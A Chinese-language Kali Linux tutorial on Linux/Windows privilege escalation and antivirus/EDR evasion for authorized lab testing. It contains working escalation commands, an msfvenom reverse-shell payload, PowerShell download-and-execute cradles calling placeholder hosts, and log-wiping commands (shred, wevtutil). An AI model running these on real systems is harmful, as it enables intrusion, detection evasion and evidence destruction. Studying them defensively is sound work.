1. 内容整体设计与思路拆解
1.1 为什么先讲提权和防御规避
Kali 这个名字在安全圈里几乎不需要太多解释。它内置了几百个安全测试工具,从信息收集、漏洞扫描到无线攻击、数字取证,几乎覆盖了渗透测试的整个生命周期。但如果你只是把它当成一个"工具包"来用,那大概率会卡在某个阶段——很多刚接触安全测试的朋友都有过类似的经历:扫描一切正常,漏洞也找到了,甚至已经拿到了一个低权限的 shell,结果就停在那里,不知道怎么继续往下走。真正拉开差距的,往往不是工具用得熟不熟,而是两个更核心的能力:拿到权限之后怎么往上升,以及动作做得够不够"隐蔽"。这两个能力对应的就是标题里的 Privilege Escalation 和 Defense Evasion。
我见过太多把 Kali 当"扫描器"用的人,跑完 Nmap 就不知道干嘛了。实际上,Kali 的威力远不止扫描,它真正的价值在于支撑一条完整、可复现的攻击链路验证。而提权和防御规避,恰恰是这条链路上最容易出彩、也最容易翻车的两个环节。为什么要专门强调这两个点?因为它们直接决定了一次安全测试的深度和生存能力:提权决定了你能从普通用户摸到 root 还是管理员,测试到底能走多远;防御规避决定了你的操作在目标环境里能存活多久,会不会在第一步就被安全设备按死。没有这两项,前面扫出来的漏洞再漂亮,也只是一堆没用的展示品。
1.2 从攻击视角反推防御缺口
很多防御团队的误区是"装了杀软、上了防火墙、补了漏洞就安全了",但实际攻防演练里,攻击者拿到一个普通用户权限后,往往靠提权在几小时内就拿到了域管权限,再用各种规避手段绕过终端检测,整个过程在日志里几乎不留痕迹。这个现实让我觉得,做安全不能只站在防守一侧自嗨,你得真的理解攻击者是怎么思考的。
所以这篇内容的目标人群很明确:一是刚入门、想系统学习安全测试流程的初学者;二是有一定基础、但提权和规避经验比较零散、想补齐实战细节的测试人员;三是防守方成员——理解攻击手法才能更好地做检测规则和响应策略。本文会从原理讲到实操,包含完整的命令、参数、排查思路和避坑经验,你可以直接把它当作一份"提权 + 规避"的实践手册来用。不过要先说清楚,所有演示都必须在合法授权的测试环境中进行,擅自对非授权系统进行探测和利用,不仅违反法律,也违背安全从业者的基本底线。
1.3 Kali 环境配置与准备
开始之前先把环境准备好。Kali 的安装方式有很多种:物理机直装、虚拟机镜像、WSL 等。我最推荐的还是虚拟机方案,尤其是配合靶机做本地实验时,VMware 或 VirtualBox 里的快照功能非常实用——每一次提权尝试失败、系统被搞坏了,回滚一下就能重来,成本几乎为零。
装好系统之后,顺手做三件事:第一,执行apt update && apt full-upgrade,把系统工具和漏洞库更新到最新,因为很多利用代码对内核版本敏感,老版本跑不起来是常有的事;第二,安装常用辅助工具,比如jq用来解析 JSON 输出,python3-pip用来跑一些 Python 写的利用脚本;第三,建一个专门的目录存放后续下载的提权辅助脚本和扫描结果,保持工作区整洁。不要小看这最后一步,实战中你可能会反复切换工具和脚本,目录一乱整个人都会懵。
2. Privilege Escalation 核心原理与实操要点
2.1 权限提升的五大类别
提权这个话题在渗透测试里占的份量非常大,我把它拆成五个类别来理解。理解这个分类,比单纯记几个 CVE 有用得多,因为你在目标机器上看到的场景千变万化,但底层逻辑基本跑不出这五类。
第一类是内核漏洞利用。这是最"传统"也最粗暴的方式——操作系统内核本身存在漏洞,通过执行一段精心构造的代码,直接拿到 root 权限。它的优点是见效快、通用性强;缺点是容易把系统打崩,而且现在的系统内核更新频率很快,老漏洞基本打不上。第二类是 SUID/SGID 文件利用,主要针对 Linux/Unix 系统。SUID 位允许普通用户以文件所有者的权限执行程序,如果某个设置了 SUID 位的程序存在漏洞或者可以被篡改,那就能借势提升权限。第三类是 sudo 配置错误,也是我在实战中遇到最多的点。管理员为了省事,给某条命令配置了过宽的 sudo 权限,比如NOPASSWD: ALL,或者允许普通用户用 sudo 执行某个可以提权的程序(像vim、less、python这类,本身能派生 shell)。第四类是服务和计划任务漏洞。第三方服务如果以 root 身份运行,并且存在路径替换、符号链接等问题,就可以利用。计划任务则经常存在脚本文件权限过宽、引用路径可写之类的问题。第五类是 Windows 特有的令牌模拟、服务权限配置不当、注册表 AlwaysInstallElevated 等,这些都是 Windows 环境下提权的常见入口。
有了这张认知地图,你到了目标机器上就不会两眼一抹黑。下面我逐个展开讲,并把真正能落地的操作步骤写清楚。
2.2 内核漏洞利用的风险评估
内核提权是所有方式里"性价比"最高、但"出事率"也最高的。常见的手法流程是这样的:先确认系统版本号,然后在本地的漏洞库或利用脚本集合里检索匹配的 EXP,编译后执行,一举获得 root。
确认内核版本用uname -a,发行版信息用cat /etc/os-release。拿到版本号之后,可以用两种方式检索可利用的 EXP:一是 Kali 自带的searchsploit,它以本地 Exploit-DB 数据库为索引,离线就能查。命令格式很简单,searchsploit linux kernel 5.4,再加上ubuntu、local之类的关键词缩小范围。二是去一些公开的漏洞库网站搜索,注意核实 EXP 的适用范围和可靠性。
我特别想强调一点:内核漏洞利用不是无脑下载脚本然后运行就完事。你得先判断目标环境是否满足利用条件——内核版本是否在影响范围内、相关内核配置是否启用、架构是 x86 还是 ARM、有没有开启 KASLR、SMEP、SELinux 之类的安全机制。很多利用脚本需要根据这些参数调整编译选项,直接gcc编译然后运行,大概率会出现段错误或者提权失败。另一个风险是系统稳定性:有些 EXP 写得不仔细,运行时会触发内核 panic,直接把目标搞重启。在真实环境里这就等于暴露了自己,所以我的习惯是优先尝试其他更温和的提权方式,内核漏洞作为备用方案,并且在本地搭一个相同内核版本的虚拟机先测试一遍再上目标。
2.3 SUID 与 sudo 配置检查
SUID 检查是我在拿到初始 shell 之后最先做的一件事,因为它的操作成本极低,收益却很直接。核心命令是:
find / -perm -4000 -type f 2>/dev/null-perm -4000表示匹配设置了 SUID 位的文件,-type f限定为常规文件,2>/dev/null把权限报错的信息丢掉,免得刷屏。如果系统里还有 SGID(2000)位,可以加上-perm -2000一起看。拿到结果后重点关注两类:一类是明显有利用价值的程序,比如nmap、vim、find、python、perl,这些程序要么能交互式执行命令,要么能通过参数读取文件;另一类是自定义的、名字不太常见的二进制文件,很可能是管理员自己编译的小工具,如果它内部调用了system()或者popen(),提权机会就藏在里面。
sudo 的检查更直接:
sudo -l这条命令会列出当前用户被授权的 sudo 命令。看到NOPASSWD和ALL同时出现时,基本就等于 root 在向你招手。但更多时候看到的是有限命令的授权,比如允许用 sudo 执行find、vi、less、more、man。这些命令都支持在交互界面里通过!或:!来执行 shell,典型利用方式是:
sudo -u root find / -exec /bin/sh \;另外还要检查/etc/sudoers是否有全局的可写权限,以及 sudo 版本是否存在 CVE-2019-14287(sudo 权限绕过)、CVE-2021-3156(sudo 堆缓冲区溢出)之类的历史漏洞。这类漏洞利用代码在网上可以找到,但我建议你在受控靶机上实践,不要在真实环境里冒然尝试。
2.4 服务、计划任务与可写路径
服务提权的典型场景是:某个以 root 权限运行的服务,它的启动脚本或二进制文件所在的目录对普通用户可写。利用方式是用恶意程序替换掉原来的脚本或二进制,等服务重启或者计划任务触发时,恶意代码就以 root 身份执行了。
判断方向有三条。第一,检查系统中是否存在常规目录权限异常:用ls -la查看/tmp、/var/tmp、/home/user这些目录是否被错误地设置了其他用户可写甚至是 777。第二,查看计划任务列表:
cat /etc/crontab ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly注意看有没有脚本的路径写的是相对路径,或者脚本引用了某个可写目录下的文件。比较常见的错误是脚本本身没问题,但脚本里调用了一个没有写全路径的命令,比如直接写tar而不是/usr/bin/tar,那攻击者只要在PATH里靠前的可写目录放一个同名恶意tar,就能在计划任务触发时劫持执行。第三,检查 systemd 服务文件:
systemctl list-units --type=service --state=running cat /etc/systemd/system/*.service /lib/systemd/system/*.service看服务描述里的ExecStart指向的路径是否在可写目录中,以及服务是否有User=配置项。如果一个服务显式以 root 运行,可执行文件又在/tmp下,那基本就是白送权限。PATH 劫持的测试命令我常用这一条:
echo 'int main() { setuid(0); system("/bin/bash"); }' > /tmp/evil.c gcc /tmp/evil.c -o /tmp/tar export PATH=/tmp:$PATH在本地靶机上验证 PATH 劫持之前,先在目标环境确认计划任务确实调用了未写全路径的命令,否则会白忙一场。
2.5 Windows 提权的几个特殊场景
Kali 不只打 Linux,交叉打 Windows 靶机也是常态。Windows 提权有几个很经典的检查点,我在这里补充一下,免得大家一提到提权就条件反射式地只想 Linux。
第一个是内核漏洞,和 Linux 一样,检查系统补丁版本,然后用windows-exploit-suggester或者wesng这类工具对比补丁缺失情况,找出对应的 EXP。第二个是服务权限配置,利用工具accesschk或 PowerShell 脚本检查服务配置,看有没有普通用户可以修改的服务路径,如果服务以 SYSTEM 身份运行且路径又可写,直接替换二进制文件就能拿下 SYSTEM。第三个是AlwaysInstallElevated,检查注册表HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer和HKCU\Software\Policies\Microsoft\Windows\Installer是否都设置了AlwaysInstallElevated=1,如果两个键值同时存在,用msiexec安装一个恶意 MSI 包就能以 SYSTEM 权限执行代码。第四个是未加密的凭据和敏感文件,比如SAM数据库备份、unattend.xml部署应答文件、IIS 配置里的连接字符串等,这些文件里经常存在明文密码或哈希,在某些场景下比漏洞利用更省事。
做 Windows 提权时,我强烈建议在 Kali 侧使用impacket工具包里的各种远程执行脚本,配合smbserver.py搭建临时 SMB 共享来传递工具,这样比直接传文件到目标磁盘更不容易触发文件监控。这只是组织手段上的优化,具体效果要看目标环境的检测策略。
3. Defense Evasion 关键技术与场景还原
3.1 防御规避的本质:对抗检测模型
提权是往上升,防御规避则是关于"活下来"。你可能会问:为什么做安全测试还要教怎么规避防御?换个角度思考就明白了——攻防演练中防守方使用的检测设备和响应策略,本质上就是在模拟真实攻击者的行为特征。如果攻方不能理解这些特征是长什么样的,就无法评估自己利用路径的暴露面有多大。防御规避不是为了"作恶",而是为了测试检出率、验证检测规则的覆盖度。
大部分安全产品的检测逻辑可以简化为三个层次:静态特征检测、动态行为检测、日志与流量分析。静态特征检测会匹配文件哈希、字符串特征、PE 结构特征等;动态行为检测会监控进程行为、注册表写入、计划任务创建等操作;日志与流量分析则依赖集中的日志采集和网络侧的流量还原。你只要在其中一个环节被抓住,整个行动就可能暴露。所以防御规避的思路就是针对这三个层次做交叉躲避。
3.2 静态层规避:编码、加密与特征改造
静态检测的核心是特征库。杀毒软件和 EDR 会把已知恶意文件的哈希、可疑字符串片段、文件头部特征存入数据库,扫描时做匹配。所以静态规避的基本思路是让文件长得"不像"已知恶意样本。
最入门的操作是编码混淆。Kali 自带的msfvenom支持多种编码器,比如:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe这里的-e指定编码器,-i 10表示迭代编码 10 次。但如果你以为这样就万事大吉,那真是天真了。现在的主流杀软都会做动态解码模拟,编码器再怎么改,最终在内存里还原出来的代码特征还是会被抓。所以纯编码混淆只适合对付静态扫描比较弱的环境,更可靠的是自定义加密 shellcode,再用一个小型加载器在内存里解密执行。思路不复杂:先用 Python 或 C 写一个加密脚本,把原始 shellcode 做异或或 AES 加密,然后在生成的加载器中写对应的解密逻辑,内存里运行时再还原。这样磁盘上文件的特征和内存中的代码特征对不上,静态检测就很难命中。
另一个值得关注的方向是特征字符串清理。Metasploit 生成的 payload 默认会有明显的特征字符串,比如msf、meterpreter等,直接放进杀软里检出一个准。用msfvenom的-o生成 raw 格式后用工具编辑二进制,或者用strip、upx加壳压缩,都可以削弱静态特征。不过加壳本身也是另一个检出特征,某些杀软对加壳文件的查杀率反而更高,所以这个要结合目标环境实测。
3.3 动态层规避:内存执行与进程注入
静态特征只是第一道坎,真正难绕的是行为检测。EDR 产品会监控进程链路、可疑 API 调用序列、远程线程创建等行为,你运行时如果出现明显异常行为(比如一个文本编辑器进程去申请可执行内存并创建远程线程),照样会被抓。
动态规避的常见手法我列几个典型场景。
进程注入是经典手法,思路是把恶意载荷注入到一个合法的系统进程(如explorer.exe、svchost.exe)里,让检测设备以为恶意行为是系统进程产生的。注入方式有很多,常见的有经典远程线程注入、APC 注入、线程劫持等。Kali 侧可以用msfvenom生成 shellcode,再配合meterpreter的post/windows/manage/shellcode_inject模块来实现注入。不过现在的 EDR 对跨进程行为盯得很紧,无脑注入很容易被拦,更进阶的思路是模块 stomping 或 reflective DLL 注入,直接在内存中映射恶意 DLL,绕过磁盘文件落地。
白名单程序利用也是一个思路。很多安全产品会放行签名程序,比如rundll32.exe、regsvr32.exe、mshta.exe等微软签名二进制。用这些程序执行脚本或加载远程内容,可以在一定程度上"借用"它们的可信度。例如通过mshta执行一段 VBScript,或者通过rundll32加载一个 JavaScript 脚本:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")这种手法在现代环境中不一定能绕过所有检测,但作为理解"文件落地 + 白进程执行 + 网络回连"这类场景的对照实验还是很有价值的。
内存型木马和无文件攻击则是更进一步的手段。不向磁盘写文件,直接通过 PowerShell 反射加载或远程下载并执行,避免留下文件落地的痕迹。典型命令结构是:
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/evil.ps1')"这种攻击方式的检测难点在于:磁盘扫描时没有任何恶意文件可查,只能靠行为分析和脚本日志来发现。在攻防演练中,用这种方式验证目标环境的脚本日志覆盖度、AMSI 拦截能力和 PowerShell 日志策略,非常有参考价值。
3.4 日志清理与痕迹管理
再完美的载荷,只要日志里留下了异常记录,赛后溯源就能把你翻个底朝天。所以痕迹管理是防御规避的最后一环,也是很多人容易忽略的一环。
在 Linux 环境里,命令历史文件~/.bash_history是常规检查点。我通常是先关闭历史记录再操作:
unset HISTFILE export HISTSIZE=0更彻底的做法是用shred覆盖删除日志文件或指定日志行:
shred -z -u -n 5 /var/log/auth.log但直接删整个日志文件反而会引起警觉,正常运维不会无端删除系统日志,所以更好的办法是精确删除与自己操作相关的日志条目,而不是整个文件消失。UTMP/WTMP 里的登录记录可以用utmpdump查看和修改,不过这需要谨慎处理,改坏了系统容易出问题。
Windows 环境里,PowerShell 的操作会被记录在Microsoft-Windows-PowerShell/Operational日志中,安全设备也常采集这些日志做分析。常规操作是可以清除单个日志:
wevtutil cl "Microsoft-Windows-PowerShell/Operational"但同样的问题,你把整个日志清空,反而会让防守方立刻注意到"某段时间的 PowerShell 日志缺失",这本身就是高危信号。更稳妥的思路是尽量用不产生日志或低风险日志的方式操作,而不是事后去清理。我在实战中的原则是:能不落地就不落地,能不执行脚本就不执行脚本,能走系统合法功能就不要用可疑工具。你留下的痕迹越少,赛后溯源的成本就越高。
3.5 从攻击链角度重新理解规避组合
如果只看单个规避手段,很容易陷入"技术表演"的误区。真正让这些手段发挥价值的是按攻击链路做组合。举个典型流程:
初始访问阶段,你可能通过钓鱼邮件或漏洞利用获得代码执行能力,但这个阶段的安全设备注意力最集中,所以第一阶段的载荷要尽量轻、尽量可信——比如用系统自带的 PowerShell 拉取远程脚本,避免立刻丢一个完整木马上来。执行阶段,把提权工具、扫描工具都做成内存加载,不在磁盘上留文件。同时做账号操作时,优先复用已有账号和合法管理通道,避免创建新账号这种敏感操作。等到要横向的时候,尽量使用被控机器自身安装的合法管理工具,比如 Windows 环境下的 WMI、PowerShell Remoting、计划任务等,用"离地生活"的方式在合法功能里完成操作。
这条链路走下来你会发现,规避不是某个单点的技术问题,而是整体行动的"低可见性"设计。我在帮某团队复盘一次模拟攻击时,防守方调出了大量正常运维的 PowerShell 日志,他们花了很长时间才从几千条日志里定位到异常行为,而且那还仅仅是防守方"知道有人进来了"的前提下。如果攻击者控制好节奏和量级,整个过程完全可以做到比常规告警更接近正常流量。
4. 从零开始的完整实操流程
4.1 搭建本地靶机环境
纸上谈兵没意思,下面用一套完整的靶机流程把提权和规避串起来。靶机我建议用本地虚拟机搭建一套 Linux 环境,配一个低权限用户。先创建用户并设置一个弱密码,方便后续进入;然后在系统里刻意制造几个常见的配置错误,比如一个 SUID 程序、一个 sudo 配置、一个可写的计划任务脚本,用来练习前面讲的提权路径。Windows 靶机如果条件允许,也可以用类似的思路在虚拟机里搭建,但注意 Windows 授权和合规问题。
工具准备方面,Kali 需要装一个常用的 C2 框架或者至少是 Metasploit,用于生成载荷和建立稳定会话。我用 Metasploit 比较多,虽然它的一些操作特征已经被人研究得很透,但作为学习路径它依然是最全面的框架。如果你不想用重量级框架,也可以用msfvenom单独生成 payload,配合自写的 handler 工具(比如一段 Python socket 监听代码)完成连接。
4.2 信息收集与初步立足
模拟起点是:你通过某种方式(比如 Web 应用漏洞)已经在目标上获得了一个普通用户权限的 shell,现在开始提权阶段。第一步不是直接跑提权脚本,而是系统性地收集信息。
id whoami uname -a cat /etc/os-release sudo -l env这几条命令分别获取当前用户的身份与所属组、系统内核版本、发行版信息、sudo 授权列表、环境变量。env里经常有意外收获,比如敏感的数据库连接字符串、密钥路径、代理配置等。接着看网络信息:
ifconfig ip addr route cat /etc/resolv.conf netstat -an | grep LISTEN ip neigh网络信息能告诉你目标机器在哪个网段、哪些端口在监听、有没有通往其他内网的路径。我见过不少人在低权限阶段就急着提权,结果发现这台机器根本没有内网价值,白白浪费时间。正确做法是先跑一遍基础信息收集,确认目标的价值、确认网络拓扑,再决定提权方向。
4.3 提权实操记录
在一个典型的靶机环境里,我按照前面讲的检查顺序实际操作了一遍。
第一步,find / -perm -4000 -type f 2>/dev/null,很快就发现/usr/bin/find带有 SUID 位。立刻查了一下它的版本和利用方式,确认可以通过-exec参数调用系统命令,直接构造提权命令:
/usr/bin/find . -exec /bin/sh -p \;这里的-p参数很关键,它让 shell 以保留特权模式运行,否则普通 shell 会把 euid 重置为真实 uid,提权就失败了。执行后确认id显示euid=0(root),这一步算是拿下了 root。
第二步,为了演示 sudo 配置错误的提权路径,我改了靶机上一个用户的 sudo 配置,允许他无密码执行/usr/bin/python3。模拟从另一个低权限用户进入后,执行:
sudo -l看到(root) NOPASSWD: /usr/bin/python3后,构造:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'进入 root 交互 shell。这里有个细节,os.setuid(0)必须放在os.system之前调用,否则 Python 的system()不会以 root 身份执行命令。
第三步,我把靶机里一个计划任务的脚本权限改成了 777,脚本内容是backup.sh,里面只写了一行tar czf /tmp/backup.tgz /home/user/data。注意到它调用tar时用的是相对路径,所以我提前在/tmp下放了一个伪造的tar脚本,内容是在 root 权限下把/etc/shadow复制到/tmp/shadow.txt。等到计划任务触发,脚本以 root 执行时,实际运行的"tar"就是我的恶意脚本,权限直接到手。把/etc/shadow里的 root 哈希值和/etc/passwd比对后,离线爆破就能还原出 root 密码。这个例子足以说明:管理员想偷懒少写几个路径字符,结果把整个系统都交给了普通用户。
4.4 防御规避实验流程
提权成功之后,我接着在同一台靶机上做了一组规避实验。实验目标很明确:验证默认检测策略的盲区在哪,以及如何在不落地文件的情况下完成动作。
第一步,先确认目标主机的安全工作现状:是否安装了杀毒软件、EDR 客户端是否在运行、PowerShell 脚本执行策略是什么状态、日志审计是否开启。判断这些可以用系统命令和注册表查询,不需要用任何攻击工具。在靶机上我模拟的就是"杀软已安装但策略偏宽松"的环境,AMSI未强制启用,仅靠本地安全策略做基础防护。
第二步,测试无文件执行的识别情况。从 Kali 启动一个 HTTP 服务,把一段 PowerShell 脚本放在上面,然后在目标机器执行:
powershell -nop -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('http://192.168.x.x:8000/evil.ps1'))"脚本内容很简单,只做一件事:反向连接回 Kali 并获取主机基本信息。实验结果是执行成功,目标主机没有弹出拦截告警。这个结果非常能说明问题:在我模拟的宽松策略环境下,不落地文件、走合法 Powershell 通道的方式能轻松绕过基础防护,防守方如果不关闭 PowerShell 脚本执行或启用 AMSI,基本发现不了这种活动。
第三步,测试传统文件落地型攻击:用msfvenom生成一个不加密的 exe payload 放到目标机器的磁盘上,然后执行。结果防御程序立刻弹窗查杀,整个会话在几秒内被干掉。两次实验对比下来,结论非常清晰——静态扫描能力在"文件落地"场景下是有效的,但在"无文件"场景下,如果缺乏行为分析能力,防御就形同虚设。这也是为什么我一直强调,防守方不能只靠杀毒软件装机率来评估安全性,而是要看整体检测链条:是否有 AMSI 策略、脚本日志是否集中采集、行为分析是否能覆盖 PowerShell 之类的双用途工具。
第三阶段,我在靶机上测试了日志清理的效果。执行了前面提到的wevtutil cl清除 PowerShell 日志操作,然后模拟防守方视角,在日志采集端查看这段时间的日志情况,发现不仅事件被清掉,后续所有由该进程产生的日志也全部中断。在真实环境中,这种日志空洞本身就是危险信号。所以我在靶机上又尝试了另一种思路:不做清理,而是把可疑操作伪装成正常管理行为,例如通过计划任务执行命令、用 WMI 查询代替 RDP 登录、通过 HTTP 协议走隧道。从防守方视角看,这些行为混在大量正常运维中,基本无法区分。这个对比实验让我更有底气地说:消除痕迹不如减少痕迹,与其事后清理,不如事前控制可见度。
5. 常见问题与排查技巧实录
5.1 提权失败排查方向
我在实操中遇到最多的问题是提权脚本执行不成功。很多人第一反应是"EXP 不对"或者"脚本 bug",但排查下来发现大部分原因是环境细节没有对上。整理几个高频原因和对应的排查方向:
| 症状 | 可能原因 | 排查方向 |
|---|---|---|
| EXP 编译通过但运行崩溃 | 内核版本不匹配或启用了 KASLR/SMEP | 检查uname -a和内核安全选项,换用适配的 EXP |
| SUID 程序无法提权 | 程序已经修复了漏洞或编译时去掉了危险功能 | 先确认 SUID 文件的实际功能和行为,不要只看权限位 |
sudo -l报错无法执行 | 当前用户不在 sudoers 文件中 | 换个目标用户试试,或者检查其他提权路径 |
| 计划任务触发但不执行恶意脚本 | 脚本中使用了绝对路径,或 PATH 环境有特殊设置 | 检查脚本内容,确认它调用的命令路径是否可控 |
| 提权后 shell 不稳定 | 直接用-p参数进入的 shell 在某些环境下不具备完整交互能力 | 尝试用 Pythonpty模块升级到完整 TTY,例如python3 -c 'import pty; pty.spawn("/bin/bash")' |
提权操作不顺利的时候,我会重新做一次信息收集。比如用find / -writable -type f 2>/dev/null | grep -v proc搜索可写文件,或者用ls -la /home/*/.ssh/ 2>/dev/null检查有没有可以直接看到的密钥文件。有时候提权的突破口不在漏洞利用,而在一个意想不到的明文凭据。
5.2 防御规避测试的常见坑
做规避实验时也有几个常见的坑,值得单独拿出来说。
第一,本地环境和目标环境差异。我在本地靶机上生成并用编码器处理的 payload,拿到目标环境后直接被杀。原因不是编码器没用,而是编码后的样本特征还是被目标杀软的动态引擎识别了。所以不要相信"本地不报毒 = 目标不报毒",最好先在目标环境里做一次小范围测试,确认样本的检出情况再大规模使用。
第二,只做静态规避不做行为规避。有些人把精力全花在改文件特征上,文件顺利落地,结果一执行就被 EDR 按行为特征拦下来。前面讲过,检测是多层次的,你必须在静态、动态、日志三个层面都做设计,不能说绕过了某一个检测点就完全安全了。
第三,日志清理用力过猛。我在实战中见过有人把 Windows 里的安全日志、系统日志、PowerShell 日志统统清除,结果防守方看到三个日志源全部断流,立刻排查入侵事件。合理的思路是只针对与己方操作相关的记录做处理,或者干脆不做清理,靠减少痕迹来避免引起注意。一个成熟的测试者会提前和防守方确认好授权范围,哪些能做、哪些不能做、做到什么程度,边界写清楚了再动手。
5.3 常用命令速查
最后整理一个我常用的命令速查表,新手上路时直接对着用就行。
# 基础信息收集 uname -a cat /etc/os-release id sudo -l env netstat -an # 提权信息收集 find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null cat /etc/crontab ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly systemctl list-units --type=service --state=running cat /etc/systemd/system/*.service /lib/systemd/system/*.service # 文件搜索(寻找敏感文件) find / -type f -name "*.conf" 2>/dev/null find / -type f -name "*.bak" 2>/dev/null find / -type f -name "*.key" 2>/dev/null # 网络信息 ip addr ip route cat /etc/resolv.conf arp -a这套命令跑下来,目标机器的基本信息、提权切入点和敏感信息基本能覆盖大半。在动手之前先完整执行一遍,比盲目猜测节省时间得多。
6. 实操总结与个人体会
写到最后,讲讲我自己的体会。接触 Kali 这么多年,最大的感受是:工具是死的,思路是活的。同一台机器,有人扫了一堆漏洞却拿不下权限,有人只用几条命令就完成了提权,差别不在工具的多少,而在于对系统机制的深入理解——你知道 SUID 是什么、sudo 的原理是什么、计划任务以什么身份运行,才能在现场快速判断出哪条路最有可能走通。
防御规避给我的启发更大。我以前也迷信各种加密、免杀、混淆工具,后来发现这些只是表面功夫,真正有效的是从攻击链路的角度设计动作,让每一步都自然地"隐身"在系统合法行为里。这一点放到真实攻防中非常关键:攻击者不会在意你用了多炫酷的木马,在意的是你有没有触碰检测点,有没有留下可追溯的痕迹。
最后分享一个我个人的工作习惯:每次做完一个靶机,我都会把整个操作流程记录下来,包括尝试过的失败路径、为什么失败、换用了什么备选方案。这些记录比任何博客文章都有价值,因为它是你自己的思维轨迹。Kali 的教学资源很多,但能不能真正内化成能力,取决于你愿意花多少时间在靶机上反复调试、试错、验证。如果你刚入手,建议从一台配置了权限失控的 Linux 靶机开始,按照本文的步骤走一遍,不追求一次成功,享受一点点摸到系统的快感——这个过程中学到的东西,比任何证书都有说服力。